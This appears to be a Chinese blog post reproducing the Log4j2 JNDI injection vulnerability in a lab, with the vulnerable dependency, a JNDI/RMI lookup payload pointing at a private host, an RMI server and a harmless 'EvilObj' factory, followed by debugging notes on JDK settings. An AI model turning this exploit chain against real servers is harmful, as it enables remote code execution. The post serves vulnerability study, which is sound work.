Log4j 依赖版本 1 2 3 4 5 6 7 8 9 10 <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.14.0</version> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.14.0</version> </dependency>
也贴一下log4j的配置文件,和漏洞没有联系
1 2 3 4 5 6 7 8 9 10 11 12 13 <?xml version="1.0" encoding="UTF-8" ?> <Configuration status ="INFO" > <Appenders > <Console name ="Console" target ="SYSTEM_OUT" > <PatternLayout pattern ="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n" /> </Console > </Appenders > <Loggers > <Root level ="info" > <AppenderRef ref ="Console" /> </Root > </Loggers > </Configuration >
漏洞复现 Log4jTest.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 package org.example;import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;public class Log4j2Test { private static final Logger LOGGER = LogManager.getLogger(); public static void main (String[] args) { String foo = "bar" ; String os = "${java:os}" ; LOGGER.info("foo, {}!" , foo); LOGGER.info("os, {}!" , os); } }
上述代码执行结果:
1 2 23:18:16.262 [main] INFO org.example.Log4j2Test - foo, bar! 23:18:16.264 [main] INFO org.example.Log4j2Test - os, Mac OS X 13.3.1 unknown, architecture: x86_64-64!
可以看到 LOGGER.info("os, {}!", os);
这段代码并不是将字符串打印出来,而是将其认为是代码再执行了一次,获取了系统信息。这是Log4j为了开发者使用方便而提供的一个功能 。而这也带来了安全问题。
攻击者可以构造恶意的RMI请求,向服务器发送请求并执行恶意代码。该攻击属于JNDI攻击,通过RMI请求将恶意代码注入到服务器中。
RMI (Remote Method Invocation) 是 Java 中用于实现远程过程调用的机制。它允许在不同的 Java 虚拟机(JVM)之间进行通信,并调用远程对象上的方法,就像调用本地对象的方法一样。
Log4jTest.java
1 2 3 4 5 6 7 8 9 10 11 12 13 import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;public class Log4j2Test { private static final Logger LOGGER = LogManager.getLogger(); public static void main (String[] args) { System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase" , "true" ); String rmi = "${jndi:rmi://192.168.31.120:1099/evil}" ; LOGGER.info("rmi, {}!" , rmi); } }
RMI服务端代码 RmiServer.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Reference;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class RmiServer { public static void main (String[] args) { try { LocateRegistry.createRegistry(1099 ); Registry registry = LocateRegistry.getRegistry(); System.out.println("Create RMI registry on port 1099" ); Reference reference = new Reference ("com.example.rmi.EvilObj" , "org.example.rmi.EvilObj" , "" ); ReferenceWrapper wrapper = new ReferenceWrapper (reference); registry.bind("evil" , wrapper); } catch (Exception e) { e.printStackTrace(); } } }
恶意代码 EvilObj.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import javax.naming.Context;import javax.naming.Name;import javax.naming.spi.ObjectFactory;import java.util.Hashtable;public class EvilObj implements ObjectFactory { static { System.out.println("evil code" ); } @Override public Object getObjectInstance (Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { return new EvilObj (); } }
先起 RMI 服务,再起 Log4jTest.java ,可以看到 Log4jTest.java 的控制台输出了 RMI 服务的恶意代码。
复现时遇到的问题 JDK版本过高 JDK在各个大版本中的某些小版本后将如 com.sun.jndi.rmi.object.trustURLCodebase
默认值改为 false
,导致启动报错,按照上述代码设置将该值改为 true
即可。
无法获取远程对象 这时的 EvilObj.java 代码是这样的:
1 2 3 4 5 public class EvilObj { static { System.out.println("evil code" ); } }
没有实现 ObjectFactory
接口。
看别人复现时也没有实现这个接口,但是就是可以的。
表现形式如图:
可以看出对象并没有实例化出来,静态代码块也没有执行。
或者是报错
1 Error looking up JNDI resource [rmi://192.168.31.120:1099/evil]. javax.naming.NamingException [Root exception is java.lang.ClassCastException: org.example.rmi.EvilObj cannot be cast to javax.naming.spi.ObjectFactory]
在写文章之前 只有第一个问题,但是复现不了,而是出现了第二个问题。但是都是同样的解决方式。
根据JDK版本过高的导致报错可以到其中源码查看对象是如何实例化的。报错的位置是 com.sun.jndi.rmi.registry.RegistryContext.decodeObject
。
在这处报错其实就可以看到JDK版本过高,将该值默认关闭了,打开就好。
getObjectInstance 见名知意,就是实例化对象用的。
可以看到var3就是在RMI中的Reference对象。
1 Reference reference = new Reference ("com.example.rmi.EvilObj" , "org.example.rmi.EvilObj" , "" );
再进入这个方法看看,这个方法可以简单的分为两部分。
第一部分去拿设置在 NamingManager
中的对象实例化工厂,去实例化对象。但是没有拿到工厂对象,是一个 null
。
所以到了第二步,第二步是去 Reference
对象中拿取工厂对象,然后去实例化对象。而这个其实是有点眼熟的。可以看下 Reference
的构造方法。
该构造方法是需要传入对象工厂的。
再进入获取对象工厂的方法 getObjectFactoryFromReference
中看看实现,有这么一个 ObjectFactory 的强转操作,即没有实现这个接口就会报上面说的强转失败报错。
获取工厂成功后,就调用实现接口的 getObjectInstance
方法去实例化对象。
参考